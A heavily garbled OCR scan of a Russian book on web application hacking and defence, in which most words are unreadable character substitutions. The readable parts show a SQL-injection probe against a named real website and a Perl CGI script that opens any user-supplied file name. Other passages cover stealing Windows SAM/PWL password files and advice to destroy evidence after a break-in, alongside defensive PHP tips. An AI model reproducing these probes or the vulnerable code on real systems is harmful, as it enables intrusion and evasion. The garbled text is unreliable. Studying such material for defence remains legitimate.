yeHHy0 WhgopMauMio. OTABIXAEM ONPEASACHHOE BPEMA, B TEHEHME KOTOPOro
TIPOMCXOAMT CHATHe 3anpeta [P-agpeca, a MOTOM MPOCTO HaxMMaeM B Gpaysepe
kaonky O6HoBHTe UnK Knasumy <F5> (ana Internet Explorer). B oTser Gpaysep
ZOMKeH COOOWINTD, YTO MPOM3OHAET NOBTOPHAS OTNPABKA NAHHBIX, W 32NPOCHTh
paspetuenye 3ol oTIpaBkK. Ecav 0TBETUTL NONOXKUTENbHO, TO GyaAeT oTnpasieH
TOYHO TAKOM JKE TTAKET NAHHBIX U roAoC GyNET NPUHAT.

Hrorna nonyuenue AaHsbIX NPOUCXOAMT OO TPEXYPOBHEROH CXEME, M3 TPEX Clte-
HapHes (BCE 3TO MOMKET aeNaTe oflun dakn):

O cuenapuii | oToGpaxaer dopmy ans BROAa;

0 cuenaphif 2 mosydaeT AaHHLIE OT NOALIOBATENA, COXPaHAeT KX B Gase u mepe-
acT YIPaBIeHNE CLEHAPHIO 3;

O cuenapuii 3 oroGpaskaer pesynbTar.

B aToM cnyuae no 3aBepileHHn oTnpaskk Bbl GyneTe HAXOAUTLCA B CUEHApuH 3,
KkoTophIA npocTo otoGpaxaeT unpopmauyio. Eciu Haxare kHonky ofHOBeHYs,
To cuerapuii Ha Web-cepBepe npocTo Huuero He nonyqut. Ipugerca HaxuMaTs
kHonky Haian, 4ToGbt monacTs Ha cueHapHit 2 WM K cueHapuio 1, 4To6bl nosTo-
PUTE OTIPaBKY AaHHbIX.

2.1.4. 3awmnTa OT HaKpPyTKU

Eciv B FOIOCOBaHKH €CTh BOIMOXKHOCTD HaKPY4YMBaTh Pe3yNbTAThl OTBETOB, TO CMBICA
OT TAKOFO FOJIOCOBAHWA CTPEMHTCS K HYIO. PCSyJIbTaTBM HENB3A BEPUTL U OHU MOTYT
TONLKO BBECTH B 3a0/yKaCHHE PaspaboTUrKoB W NoceTHrenell Web-caiiTa. PaspaGor-
uuK 0613aH NPEAYCMOTPETb HAKPYTKY M COIIATH HEOOXOAUMYIO 3aLUUTY.

Kak moxHO zammtuteea? Ha moit B3rnag, camuit adidexTuBHEIA METOR COCTORT
B BBITNIOJIHEHUH CASOYIOIHX L1aroB:

0 aaeath BOIMOXKHOCTB IOJI0COBATEH TOJLKO 3apETHCTPUPOBAHHBIM TTO/L30BATENAM;

0] & 6a3e gaHHBIX CO34aTh TABNUYKY, B KOTOPOR GyIyT COXpaHATLCA UMEHA BCeX
NPOroNIoCoBABUIKX NONL30BATENEH;
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Gonuiuue cemsanubie SQL-3a0pOCk HA HECKOIEKO MANEHbKUX, CKOPOCTb GOpPMU-
poBanua Web-CTpanHLB MOKHO YBEHYHTD B HECKONBKO pas.

Cameii crioxnbiii SQL-3anpoc Ha Moem Web-calite oto6paxan nocneanue coof-
wenus ¢ GopymMa, 3arpyska Web-cepsepa BO BPEMA €r0 BBINONHEHHA PE3KO BO3-
pactana. 51 ynuenen, MoueMy Xakephl HE BOCMONLIOBANHCH 3TOH YAIBHMOCTBIO?
JHoctarouno Gui0 Hanucars NporpaMMy, koTopasd 6bi KaXKabie NATH MUHYT 3anpa-
nBana Web-cTpasnly ¢ nocaeaHdMH cooGINeHHAMH, H JAMYCTUTE €€ HA HECATKE,
2 TO W coTHe KOMIIBIoTepoB. Takas mporpamMma GyAeT He CHABHO HATPYXaTh CeTe-
Bo# Tpaduk, 3ato Web-cepsep “3anbiXTHT kak napoeos”.

Urak, ecny ecTb cueHapuii, KOTOpbIH BBHIOAHAETCA AOCTATOMHO HOJr0, TO 3TO
MOXET FOBOPUTE O TOM, 4TO i €ro paboThi TpeOyeTca MHOTO BBIMHC/TATEALHBIX
pecypcos. Tenepb npocTo GopmuUpyeM ouenbh Gonbloe konH4ecTBO ofpaienuii
K 3TOMY CLIEHapuIo U B peaysibTate Web-cepsep He criocoben obpabaTbiBath Apy-
FHe 3anpockt.

8.2. OnTuMusauuna pa6otel c CYB[

Kak Mbr YK€ MOHASTH, ONTUMH3AUMS SQL’SBI’IPOCOB MO3BONAET CIKOHOMUTL MONI-
HOCTH Weboepaepa H MOBLICHTL €ro NPOU3BOAUTECABHOCTD, YTO YMEHBIUHT BO3-
MOXHOCTE MOAOKHTESIBHOTO HCXOAa nposo}mmoﬁ MPOTHB HEro DoS-araxu. l],mi
JOCTYTA K HAHHBIM HCNOMb3YeTCa A3biK 3anpocos SQL, KOTOPBIH CTAHAAPTHIUPO-
BaH MHOTO JIeT Ha3al, HO He noTepan CBOEH AKTY&JIBHOCTH H NO celi fieHb. Cran-
napr 6yaeT HCNONLIOBATECH €Il HOTOE BPEMA, A BOT BOIMOXHOCTH, KOTOPLIE OH
NPeAOCTABARET, YIKE HE MOTYT ofecrneunts COBPEMEHHbBIX I'IOTPCGHOCTCE.

B cBoeit npakTHke 8 ucnosbaosan paviiunbe CYB K e pas ofiaranca Ha ToM, 4ro
OH¥ nio-pasoMy MoryT obpabateisats Aake SQL-3anpocst cranaapta 1992-ro roza.
Bpone Gel Bce BLIMOMHAETCS BEPHO, HO ¢ HEGOABLIMMH OTKTOHEHWAMH, HATIPUMED,
CYBJI MOXET NOAAEPIKUBATL UITH HET MTEHHE JAHHLIX, KOTOPLIE 3anMcansl B Gasy
JIaHHBIX, HO ellle He MOATBepXAeHbl. 3T0 CBOMCTBO CBASAHO C MOANSPKKON pas-
JIMUYHBIX YPOBHEH H3ONAUMM U HACTPOEK.

HMeHHO MO3TOMY Bbl JOMKHB C CAMOTO HAYAIA MHCATh CUCHAPHH MMEHHO TOX
1y CYB/I, ¢ xotopol Gyaer nponcxommTh paGoTa. Heneas mucaTe koa mmoa
MS SQL Server unw MySQL, a norom npocto nepesiects ero noa Oracle. Oto
COBEPLIEHHO Pa3Hbie CHCTEMbI, KOTOPble PaGoTaloT N0-pasHOMY, TIO3TOMY BCAEA-
CTBHE TAKOTO NEPEHOCA MOTYT BO3HWKHYTh NPoBneMsl He TOALKO C IPOUIBOAH-
TENBHOCTBIO, HO ¥ NONY4EHHEM BEPHOTO Pe3yALTaTa.

IMpu onrumusauua npunoxennd, paGotatomnx ¢ CYBJ, HyxHo aeficTeosarh
© [BYX CTOPOH: ONTHMH3upoBaTh camy CVYB/[ m cpeacTea AocTyna K HaHHbIM
(SQL-3anpocel). ITpuyem paGotaTs Hy®¥HO Cpasy Haa OGEHMH COCTaBNSIOLAMH,
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coxpaHeH B creumansHoM Gydepe. Tlpn creayomem 3anpoce 3TH JaHHble SymyT
nonyyesbt w3 Gydepa K cpasy ke HaYHETCA €rO BLINONHEHHE Ge3 MMMHKX 3aTpaT
He TOATOTOBKY.

Tenepb nocMoTpuM xa aea SQL-zanpoca:
SELECT *

FROM TableName

WHERE ColumnName=10

[:H

SELECT *

FROM TableName
WHERE ColumnName=20

Of6a BLIGHPAIOT BCe AaHHbIC W3 OnHOH M Tofl xe Tabmuuet. Tonbko nepsbiil noka-
JKET CTPOKM, B KOTOPBIX KOJIOHKA ColumnName CONSPXKKT 3xauenue 10, a sTopolt
[OKAXET CTPOKH, TIE 3T JKE KONOHKA COAEPXHT 3HaveHue 20. Ha nepewiit earan’
OHU OHEHE TIOXOXKH H JOJDKHBI BHITIONHATCA IO OAHOMY M TOMY ke naaHy. Ho ato
BMIHO TOALKO HEOBEKY, @ ONTUMHM3ATOP 3TOTO MOXKET HE YBHIETE, H, Hecmorpa“
HA UX CXOXKECTh, Gy/IeT NPOM3BOAHTE BCE MOATOTOBHTENBHBIE WATH i KAXKAOT0,

Uro6bl 3TOrO He GhIO, HYKHO HCTIONLIOBATH NepeMenHbie. [lepemennbie 8 SQL,
CXOXM M0 Ha3HAYEHHIO ¢ mepeMesHbiMM B PHP, no B 3asucumocté o7 CYBR}
v apalisepa MOryT o(OPMISTECA pasHbiM cnocobom. [ToatoMy a1 He Gyay menars|
HUKAKHX oopmieHnd, yrobbr He COUTL BAC C TOKY, 8 MPOCTO OyAy HasblBaTh
nepeMeHHbIe HMEHEM paramX, e X — 370 o6oe Hucao:

SELECT *

FROM TableName

WHERE ColumnName=paraml

Teneps AOCTATOYHO TOABKO MEPENATh 3HAYEHHE NEPEMEHHON paraml. B TOM;
cnydae SQL-3anpochi 6yayT BOCOPHHMMATECA OMTHMH3ATOPOM KaK OJHHAKOBBIE:
M AHIIHKX 33aTPaT HA NPOBCACHUE ITOATOTOBHTENLHEIX ITANIOB HE Gyne'r

Bydep 1is XpaHesua NNAHOB BBITONHEHHA He GECKOHEueH, IO3TOMY B HeM Xpa-
HATCA AaHHBIE TONBKO O mocieaHnx SQL-3anpocax (KOAM4ECTBO 38BUCHT OT pas-.
mepa Gydepa). Ecnu xaxoit-to SQL-3anpec BBINOAHAETCA AOCTATOYHO YACTO, TO
B HeM O0OS3aTeNbHO HYKHO HCMONBIOBATh IEPEMEHHBIE, MOTOMY 4YTO 3T0.
3HAYMTEABHO MOBLICHT MPOMIBOAMTENBHOCTS. TlonpoGyiiTe ABANALI BLITONHHTE
omuH 1 ToT e SQL-3an0poc M MOCMOTpETh Ha CKOPOCTH BRITIONHEHHA. Bropuinoe
BBIONHEHME Gyner HaMHoro GhicTpee, YTO MOXKET ObITh 3aMETHBIM IAXE HA I/1a3.

Ecnu SQL-3anpoc BHIMONHAETCA He 04eHDb GBICTPO, HO OHEHD PEAKO, TO MOKHO HE
CHTLHO 06palaTh BHUMAHHA HA eT0 OMTHMH3ALUID. [la, 3TO yTEEPKACHHE BEPHO,
HO TO/TbKO He AnA Web-CepBepos, e NPOUIBOAKTENLHOCTh HMEET KPUTHUECKO®
3HAYCHHE.
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{
print (*<table width=100% border=1>"};
print ("<tr bgcolor=\*#AA1B1B\">"};

// Get result columng

for ($i=0; $i<mysql_num fields($result); $i++)

{

$field_name = mysql_field name ($result, $i};

print("<td><font color=\"#FFFFFF\"><B>§field name</b></font></td>");
}

print("</te><tr>");

// Get resulc lines
while ($line=mysql_fetch_array($result, MYSQL _ASSOC))
{
print ("<tr>");
foreach($line as $key => $value}
print ("<td>§value</td>"};
print("</tr>"};
}
print (*<table>*};
)
>

</BODY>
</HTML>

CMEICH cLeHAapHS B TOM, YTOGH OTOGPA3NTE TTOAE 117 BBOAR MMEHH TIONL30BATEN.
BBenenHoe uMA MCmonb3yeTca ANs NoUcKa B Tabnuue 6assl NanHbix test. [l no-
HCKA KCTTIONB3YETCA CASAYHOLMH 3anpoc:

BELECT *

PROM smf_polls

WHERE posterNames='Susername"

[locmoTpuTe Ha prc. 5.3, e 0TOGpaXeHb! pe3ynbTaT paGoThi CLUSHAPHA K Pe3ylib-
Tupyowas Tabnuua. B ee warnke NpuseAeHL MMEHa Nonel, KAK OHH €CTh B MOBH
‘recToBOM TaGnuue.

F:cni yecTHO, TO cO3naBATE OTAEABHYIO 6a3y KaHHLIX M TaGAuLy MHE GbINO NeHb,
IKNITOMY # UCTIONB3YIO Tabnnuy smf_polls u3 gopyma SMF, kotopeiit x HenssHo
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Oumbxa B Hem KkpoeTcs B cueHapuu igsbase/igstemplate.cfm. Ecav nonpoBosats
nepenaTh Yepes NApaMerp SnavID MOMHMO YHCAA ellle H OZMHAPHYIO KaBBI4KY,
TO B pe3ynbTaTe NepeA HaMH MOABMAETCA coofiuenne 06 ownbke, Kak noka-
saHo Ha puc. S5.21. TMonuwit URL  BeisiauT  cnepyroimrM — obpazom:
http://www.mnthunder.com/igsbase/igstemplate.cfm?SRC=SP&SRCN=
campdisplay&GnavID=3&SnavID=5".

Puc. 5.21. CoobweHue o6 owmbke

Coobutenue oueHs noapoGHoe M coobliaeT HaM NOMHBIH 3aIpoc, MO KOTOPO]
MOXHO Y3HATL Ma onol U3 Tabtuu u nekorTopbie tons, [oaGupats konusecTeq
Toned He HYWHO, MX MOXKHO MOACHUTATH B OTBETE, KOTOPKIA Ham BepHyn Web
cepaep. Ecan owmbky we sanarator, nonpoSyiire camu nourpath ¢ Heil. [Tpocrd
A HHYETO HOBOTO HC HALLCH, 3 TOBTOPATECA HE BHIKY CMbICIA.





index-21_1.png
16 Inasa 1

Hnorsa xakepbi onpenensior sepcutio OC WAK YCTaHOBMEHHBIX CIYXG no Hanm-
umio owmGok. Hanpumep, ecnn Web-cepsep 1IS Bepcun 5.0 conepxan onpene-
NEHHYI0 OWHMOKY NPU NOAYHEHHA CAHWKOM GOMBUIOrD NAKETa, TO MOXHO MOnbL-
TaTbCA OTNP2BUTH TaKOH MaKeT, M €clH B OTBET MbI MOJIYYHM OIIWGKY, TO nepea
HamH umenHo LIS 5.0. Bpoae Gbl Bce XOPOLUO M METOZ ONPENENeHHs AOCTATOHHO
TOYHBIA, HO He coBceM. JleNo B TOM, 4TO HaNMuHe OKGKK MOXET 3aBHCETh W OT
xondurypauud OC unn camoii cnyk6Gel. H3sectras Bam ownGka MOXKeT nposs-
NATHCA TONBKO MPH ONPEAENeHHEIX YCIOBUAX, M ecltH olnGka He TIPOSBHAACS, TO,
BOBMONHO, He COBMoNeHbl HeobXonKUMEle YCNOBHA (cm. pazd. 1.3.4).

TNonyuaercs, 4To 3azata 3aWMILRIOUIEACA CTOPOHBI — KaK MOXKHO CHITbHEe 3amy-
TaTh CHTYaLMIO ¥ CKPBIT HasBaHue OC u cayxG, paboTatowux Ha KOMOBIOTEpE.
BONbLIIMACTRO HEOMBITHBIX XaKepoB BEPAT NEPBBIM BHEUATACHUAM W NOTPaTAT
0YeHb MHOTC BpPeMEHH Ha GecnonesHble MONbITKK NPOHHKHOBEHUA. Takum 06pa-
30M, Bbl CieflaéTe B3IOM CITHILIKOM AOPOrHM 3aHATHEM.

Jla, IpATaTh HYXHO He Tonbko HassaHne OC, HO M HasBaHuMA cyxG. Hanpumep,
ecni noaaenath Apache noa IIS, To xakep 6yaeT nbitaThen B3NOMaTh He TOT Web-
cepaep, UCMONb3YS He Te NPOrpaMMbl, YTO YCIIOKHHT ero 3aaavy.

3ana4a XaKepa — PACTyTaTh LENOVKM H YETKO ONpeJeTHTb, ¥TO JKe OH BINAaMbIBaeT.
Be3 3TOro npousBoAuTh B JanbHelilleM Kakne-THGO AEACTBHA GYACT CIOKHO, no-
TOMY 4TO OH ke He Gyner 3HaTh, KakHe KOMaHbl eMy AOCTYNHbI TIOCNE BTOPKE-
HUAl H2 YyXKYIO TEPPUTOPHIO, [Ae HCKATh CHCTEMHBIE (alinibl U NaponM, a Takxke
KakHe HCTIonHAeMble hafibl MOKHO 32rpyXKaTh Ha cepaep.

1.3.3. Ucnonb3oBaHUue IKCNNOUTOB

HraK, Teneph Bl B Kypce, kakas Ha cepeepe ycraHosnena OC, kakue NOpTH OT-
KpBITbI, H KaKHE MMEHHO CHy:xGbl paGoTaloT Ha 9THX noprax. Beio aoGbiTyio MH-
(HOPMAUKIO HYKHO 32nKCaTh B YAOGHOM ANs BOCNPHATHA BHAE: B daline WK XOTa
Gb1 Ha Gymare. [nasHoe, 4ToGbl GbuTo KoMdopTHO paloTaTs.

He nenurecs 3anuceiBaTh Bee coGpakHble anHble. [ToMHuTe, YTO favke KOMNBIO-
Tepst MHOrZ2 cOOAT, a YyeMoBeuecknit MOIr Aenaer 3To perynapHo. Camoe HMHTe-
pecHoe, 4TO alle Beero 3abuiBaercs HauGonee Heobxonumoe. Hy, 2 nocne s3noma
He 326ylbTe yHHYTOXUTH BCE 3aNUCH, KOTOPbIE MOTYT NOCTYXHTh JOKA3aTENbCT-
BOM COEAHHOrO B CYAE.

Bee nowanu? Toraa Ha 3TOM MOKHO OCTaHOBKTLCA. ¥ BAC ECTh JOCTATONHO MH(pOp-
MalWK U NPOCTENIIEro B3noMa ¢ noMolleio owkGox B OC u ciyxGaX, ycTaHoB-
nedHbix Ha cepeepe. IlpocTo mnocemtadite perynspHo www.securityfocus.com,
a poccHiickOMy NONL3CBATENIO MOTY nocoseToBaTh Web-caiit www.securitylab.ru
(puc. 1.1). HMeHHO 3a€ch HYKHO MCKaTb MHGOPMALKIO O HOBBIX YA3BUMOCTAX.
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CaMoe OflacHOE B 3TOM, BT NPOTPAMMUCT HANEETCA, YTO 3TH NapaMeTPbl 0AB30-
BATENb HG CMOMKET YBUAETb, H BOSAEHCTBOBATH HA HUX, 8 3HAYKT, OHM HE TPeSyIOT
TIPOBEPKH. A NPOBEPKH K HE HYXKHDI, HAIO TIPOCTO ACHCTBATENLHO 3ANIPETHT H3-
MEHeHHe TiepeMeHnbIX. B flaHHOM Ciyuae AN 3T0T0 HEOGXOAMMO 3anpEeTUTh TIps-
MO#H BBI30B NIPOMEKYTOUHBIX (atliioB, KOTOPBIE COAEPHKAT KOA.

Campii npocTefitui crnoco6 saumursl: 8 Qaiinax, KOTOpHE AOMKHLI BEI3BIBATECS
HanpAMYyIo, OGLABHTL KAKYI0-TO KOHCTAHTY, HANPUMEP, B CICAYIOWEM KoAe inat-
nOHa B caMOM Hauajie Web-CTpaHuubl 0GBABIAETCA KOHCTAHTA PROTECT, paBHas
enuHNLE:

<?

define{'PROTECT', 1);

include ("options.php") ;

include ("maketop.php") ;

// 3pece mOnNKeH OHMTH KOO LEHTPANLHOM wacTy Web-CTpaHuusl

include ("makebottom.php®) ;
?>

Teneps B KaXAOM MPOMEKYTOYHOM (aiie HOCTATOYHO MPOBEPHTD, €CITH KOHCTAH-
TA HE CYWECTBYET, TO HaHHbIH clieHapuil He noakmiosaercd W3 Wwabnowa,
a BeI3BIBaETCS vepes crpoky URL:
<?

if {!defined(’PROTECT'))

die('Do not crack my site please'};

include(Spagetop) ;

>

Teneps, eci Hanpamylo ofpaTutbes k daidiny maketop.php, To Bl yBaAuTe Ha
Web-cTpasuue npocb6y ne sanamsieath s1or Web-caiit: "Do not crack my site
please”.

BoT Takas NpocTas 3aMKTA MOIBOJAET IAWMTUTLCA OT BBIIOBA MPOMEKYTOHHBIX
¢aitnos nanpamyio. [Ipu 3ToM a6CONIOTHO HE HYXHO NPOBEPATh MEPeMEHNHBIE,
BeZb TeNephb NONLIOBATENb HE CMOXKET Ha HAX BO3NSHCTBOBATS.

HekoTopele MporpaMMUCTbI MPEANIOYHTAIOT 3ABOAMTD IS 3THX UesieH MpocTyi
NepeMeHHYIO U MPUCBaUBaTh eif onpeaeseHHoe 3Hauenne. CMBICA TOT ke cambli,
TONBKO BMECTO KOHCTAHTBI HCAONBL3YETCA NEpEMEHHAA. Cmoco6 XOpOLUHﬁ H 6y}1c‘r
pBGO‘I‘ﬂTb, HO TONLKO €CAK 3aTIPELIEHA ABTOMATHYECKAA PErycTpaUus NepeMeHHbIX
AnA flepeiaBaeMbIX NApaMeTPOB UNH XaKep HE 3HAeT HCXOQHOTO KOAA.
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7.1. Pabora c charinoBo# cuctemMon

Kak 1 8 moGom apyrom sseike, paGoTa ¢ Haltiorol CHCTEMOMH C MOMOIIBIO QyHK-
uni Perl MpeAcTaBnseT onpefieneHHyio yrpozy 6€30macHOCTH, OCOGEHHO ecnu
MONB3OBATENE MOXKET NOBNUATL Ha UMA (aiina, k KOTOpOoMy upeT obpautenue, Ja-
BaiiTe pacCMOTPHUM TIpUMEp M3 AMcTHHra 7.1,

#t/usr/bin/perl -w
use CGI qw(:standard);

print "Content-type: text/html\n\n";

print "<H4>Test form</H4>";
print '<form actio
print ’<input names
print '<input type="submit” value="Submit">
print '</form>';

http://sexver/cgi-bin/test.cgi® method="get">';
£ile" size="15">';

stile = param('file'};
(
print("<hd>File: $file</hd>");
open(F, sfile);
while (<F>)
{
print;
}
close(F);

H3BuHAIOCH, €CIM KOX HE OueHb KPACHBBIA U, MOXeT GLiTh, HAPYWAET Kakue:
NpHHWANG [porpamMMuposatiia ka Perl — s ouenb 060 BHIMCKUBATD HYXHUG)
ownbick, HO 214 CBOUX PaBoT UCTIOAB3YIO APYTHE A3bIKM NPOTPAMMHDPOBAHHUA.

CoxpaHHTE COACPIUMOE ITOTO UCTUHIA B (atine test.cgi, sarpysure na Web-cepeep;
B AupekTopuio cgi-bin u sanycrwre ero. ITo ymomuanuio mua Perlcuenapues
€OBNAETCA OTAENbHAS IMPEKTOPHS, KOTOpas 0BbIMHO MiMeeT uma cgi-bin. Yrober dakn
BBIIOAHANCA, MY HEOGXONMMO HA3HAUUTH NpaBa nocTyna 755. Teneps, uToGbl zamycs
THTb Gaitn, uenonsayem caeaytownii URL: http://servername/cgi-bin/test.cgl. I'ne
servername — 370 ums Baitiero Web-cepsepa.
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B Windows 9x naponm Xpaustcs e daiinax PWL, koTopbie HUKak He 3alLHIIEHDI,
W MX CHMIKOM npocTo yxpacts. Ecmv B Windows 2000/XP mpamod moctyn
 (aiiny Ga3s1 saHabIX SAM 3anpeien, To 3ech daiin 3abnpaeTcs ¢ koMNbIOTEPa
SKepTBbl [POCTHIM KONMPOBaHKEM. JInA BIIOMa 3TOTO aiiia MOXHO BOCTIORb30-
BaThes nporpamMMoit PWLInside (www.insidepro.com).

1.9. MonyyeHue npas
onpeaeneHHoro nonL3oBarens

Jns nonyueRnst npas onpeseNeHHOro NONL30BATENs BIIOMULMKM vallle BCero Mc-
noNB3YIOT:

0 MeTOab! COUMANLHOH WHKEHEpHU — TPHBMANBHBIA M He TpeGyromui MHoro
BPEMEHH, HO [IPH ITOM HEHaNEXKHBIN cnocob;

J TpoAHCKME MPOrpaMMbl — APOCThI B MCTIONL3CBAHMH, HO NPHMEHEHHE MOXKET
HE NPHHECTH Pe3ynbTara, ec/in He YAACTCA 3apasTh KOMIbIOTEP MEPTBbI;

0 noaBop napons — COKHee BCEX B Peanu3aii M MOKET 3aHATh y BITOMILMKa
FO/iBI, M B 3TOM Cllyyae TOXe He JAcT pe3y/bTaTa.

Bce Tpu 5THX METOZA Mbl Y)Ke paccMaTpHBanH B AanHoW rnase. H ece ke, ecth
€llle OIMH BaPHAHT, KOTOPBIA Mbl He PACCMATPMBAIK, XOTA KOCBEHHD 3aTparHBant
aTy Temy. Kagas cykGa WMeerT npasa OnpefeieHHON yueTHOH 3ankcH, U eclii
BbINONHATL KOMAHIbI OT €¢ UMEHH, TO M NPHBUIETHM BYAYT TOW yueTHON 3anKcH,
0 KOTOpO# OHa paGotaert.

BONBIIMHCTBO aAMHHUCTPATOPOB YCT2HARMMBAIOT BCEM CTYXKGaM MakCHManbHble
npasa, yTobsl He pasGupaThCa B TOHKOCTAX HAcTpoiky. Ecau paspewnts paGory
eny#Bbl, HAAPHMEP, MO FOCTCBOH YYCTHOH 3aNHCBIO, TO OHa MOKCET NepecTaTh
dyHKiuHMoHHpoBaTh, HeKoTOpbIM CIYKGaM HYIKEH AOCTYN K PEecTpy WM CHCTEM-
HOMY KaTanory, # eciii ero 3akpbiTh, TO CiyXkGa NPOCTO He 3anyCTUTCA, a HalT!
MPHUUHY ITOTC GbIBRET CROXKHO, ECNIH HET NOAPOGHON JOKYMEHTALMH NO NOJHTU-
ke GesomacHocTH nporpamMMsl. C ipyroft cTopolbl, GOMBUIMHCTBY CIYXKG npocTo
HE HyKHBI GO UIME AONHOMOYMS.

Korna xaxep CTPEMHTCS NONTy4UTh NPaBa aMHHHCTPATOPR, TO OH MOXKET 3aJaTbCs
uenblo, HaliTH YA3BHMOCTb CNykGbl, KOTOpas 06NafaeT HyKHBIMH npasamu. A 3a-
TEM C €€ NOMOLUBIO IONbITATLCA NPOGHUTLCA JaNbllE Ha CepBep.

UroBbt He faBaTh Xakepy JHIINMX faleek, OrpaHHuLTe npasa ciymG. B stom cny-
uae, flaxe ecli 310YMbIULIEHHHK HAWIES KAKYIO-THEO YS3BUMOCTh, NPOHHKHYTH
B cHcTeMy Gyzer criokHo. Hanpumep, ans FTP-cepaepa MOXHO €O3aaTh YHETHYIO
38TIUCh, Y KOTOPOH GyAeT AOCTYN TONLKO K ONPeiefieHHbIM NankaM, KOTOpble OT-
KPbITBI TIO CETH IUTA KIHEHTOB 3TOH ClymGbi.
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5.7.3. Macromedia ColdFusion

HecmoTpa Ha To, uro Macromedia ColdFusion aGconoTHO HHKaKOTO OTHOILEHHS
te umeer k PHP, Beap 310 caMoCTOATENbHEIA aspik Web-niporpamMmuposanus,
owmbKy, NPUBOAAILYIO K BO3MONHOCTK aTaky "SQL-uHbekuMa”, MBI paccMOTPHM
u 3peck. Jleno B Tom, uro ColdFusion vatite BCro ucnonsayercs a ceaske ¢ MySQL,
¥ BIIOM TIPOUCXOMUT TOYHO TaK e, Kak W IPH HCMONb3OBaHHK cueHapues PHP
¢ To#i xe Gazoli NaHHBIX.

HUrak, nepen wamz cHoea GyrGonsHuii Web-calit: www.mnthunder.com
{puc. 5.20).

i oy s p

07/07 /06 - Lightning Travels to West
Michigan in Ssarch of Fourth snaughtwm

Puc. 5.20. Web-caiir www.mnthunder.com
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Mopaik: HHKoraa He 3abbhiBaiiTe QUALTPOBATHL MAPAMETPEI, HCHONRLIYEMbIE IPH
¢opmHuposanny Mmeny Qaling, Ha N10CASIOBATENLHOCTL CHMBONIOB ...

Kak MHoOro Hioarcos mpu paGote ¢ (atinamu, Heyxen coanatenu PHP ne mornu npe-
RyCMOTpeTS XT3 6b1 IONOBHHY M3 3TvX npofinem? Pabora ¢ dalinoeoli cucremolf Boe-
THA ONACHA, H NPEAYCMOTPETb BCE HEBOSMOXKHO, MO3TOMY IIPHXOAHMTCH BbIGHpaTh
MexuTy Mombio M GesomacuocTero. PazpaGorunki PHP mpenoctaBuny HaMm Motub
H THGKDCI'L, a Mbl IO/DKHBI TIPABHNBHO BOCTIONB30BATHCA STHMU BOIMOXKHOCTAMU.

51 peKOMEHIYIO HUKOT/IA He TiepenaBaTh WMeHa (aiios B BUAE NapaMETPOR, TEM
Gosnee 3ampocamu GET. Uepes napaMeTph! HEb3s EPEHABATE HHYETO, HTO CBA3AHO
¢ aiinosoli cucremol, daiitamMu u, TeM Gonee, ¢ Nporpammami. S AyMmalo, 4To
3Ty MBICAL MOXKHO BHIGHTb Ha MOHWTOPE MM HaTMCATh HA MaKkaTe Ha cTewe. Her,
372 PEKOMEHAALMA CBAIAHA HE TOBKO ¢ GesomacHocTsio. TlpoGnema & Tom, uTo
TakoH Ko Gyﬂﬂ yXKaceH C TOYKH 3pEHHA YTCHHUA W CONTPOBOXKACHHA. Ecnn npu-
nerca MECNTBGHPOBBTB BO3MOXKHOCTH CueHapus (T. €. BBOJIUTb HOBbI€ BO3MOXKHO-
CTH), TO BaM MPHUAETCA NepenucaTh He OfHY CTPOUKY KoZa. Ec/ii Ansg ManeHbkoro
Web-calita mepesayy umeH (aiiioB MOCPEnCTBOM NapaMETPOB €lle MOXHO On-
paBnaTth, TO MPH €ro pocTe s pﬂGOTH NpyUACTCA ACNOAB30BATH 6asbl AaHHbIX,
NOITOMY AYHILE 3apaHEee 3a/10KHUTE BOIMOKHOCTE HX ACMOb30BAHKA.

Eoiaet, 4To HaifTu OWMGKY He Tak Nerko, Kak B NPHBEACHHOM BbIlLe TIPUMEpE,
noTOMY HTO NapaMeTphbl, HCIIONb3IYEMBIE B d)yHKl.lHﬂX include, require,
include_once M require_once, JANEKO HE BCErNa HA3bBAKOTCA dir MAM file.
l'lepemeHHan MOXKeT Ha3blBaTh KaK YTOAHO, BNIOTE A0 klhjkl, BCEe 32BUCUT OT Ha-
CTPOCHHA U ONbITa IIPOrpaMMHCTa.

Jia, ombIT TAaKKe BAMACT HA MMeHAa NEpeMEHHbIX. TONLKO HAYMHAIOWMH MOXET
Ha3biBaTh [EPEMEHHBIC id, pid, p_id, ppid W T. A, TIOAA HMEHA 1apaMETPOB
B BHIE NPOM3BOAHBIX OT cjioBa id. Takue WMeHa He HECYT B cefe cMBICNa, a 3Ha-
YHT, KO, HCTIONBIYIOMMHA ITH IEPEMEHHDIE, CTRHOBUTCH TPYAHO HMTaeMbiM U Ge3
KOMMEHTAPHER MOHATD B HEM YTO-HEO OUEHb CHOXKHO.

OnbITHbLE TPOrPaMMUCTBI, KOTOPHLIE YK€ HE Pas BCTPEYANMCh C TPYAHOCTAMH CO-
TIPOBOXKJCHKS KOAA, CTApalOTcd AaBaTh OCMBLIC/IEHHBIC HMEHA MEPEMEHHLIM. Onu
YKE HE CTPEMATCA 3alTyTaTh Xakepa GeccMBICheHHBIM HBﬁOpOM CHMBOJIOB, a CTapa-
10TCA YRPOCTHTL cebe kU3Hb, He 3a6kiBas Ny 3TOM O GeaonmacHocTH. XOTA, 3a6bITh
POBEPHTH OMpPEACHEHHBIN NAPAMET WIH HEMPaBWBHO BHIGPATL MeTOA MNK napa-
METPbI GUNLTPAUMK MOXET T060, AaXe O4eHb ONBITHLIA NPOrpaMMKUCT.

W3 AMuHOTO OMBITA MOTY CKa3aTh, YTO NPOTPAMMHCTBI O4EHb YACTO HCMONLIYIOT
CIEAYIOUHE IEPEMEHHBIE B AMEHHO Ha HUX HYXKHO ofpaliaTs BHUMAHHE:

O dir — uMs SBHO YKa3bIBAET Ha NPHHALREKHOCTD K AUPEKTOPHH;

0 file — ckopee BCEro Hepes STOT NAPaMeTp NEPEAacTCs NONHOE HMs WK HacTb
umeny daiina;
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BbY [TOKYUaETe B CBOE pacriopskerie 3G GEKTHBHBIN M OTIAXEHHBIH TOIAMH METOR
ofecrevenna 6e30macHOCTH KOHOHACHUHANBHBIX NAHHBIX.

PaccMoTpuM mpumep cofepikumoro gadina htaccess:
AuthType Basic

AuthName "By Invitation Only"

AuthUserFile /pub/home/flencv/passwd

Require valid-user

B nepsoii crpoke 3ajaeTcs THII AYTEHTH(UKALMH C MOMOWBIO MPEKTHBEI
AuthType. B nanHoM npumepe ucnonbayercs GazoBas ayTenTuukauus (sasic),
B 9ToM ciiyuae Web-ceprep npi o0paleHiy K AUPEKTOPUM OTOBPAIKT OKHO Ans
BBOAA MMEHM H mapond. TeKkcT, ykasaHHblii B NMPEKTHBE AuthName, TOABHTCA
B 3arossoBke okHa (puc. 9.1).

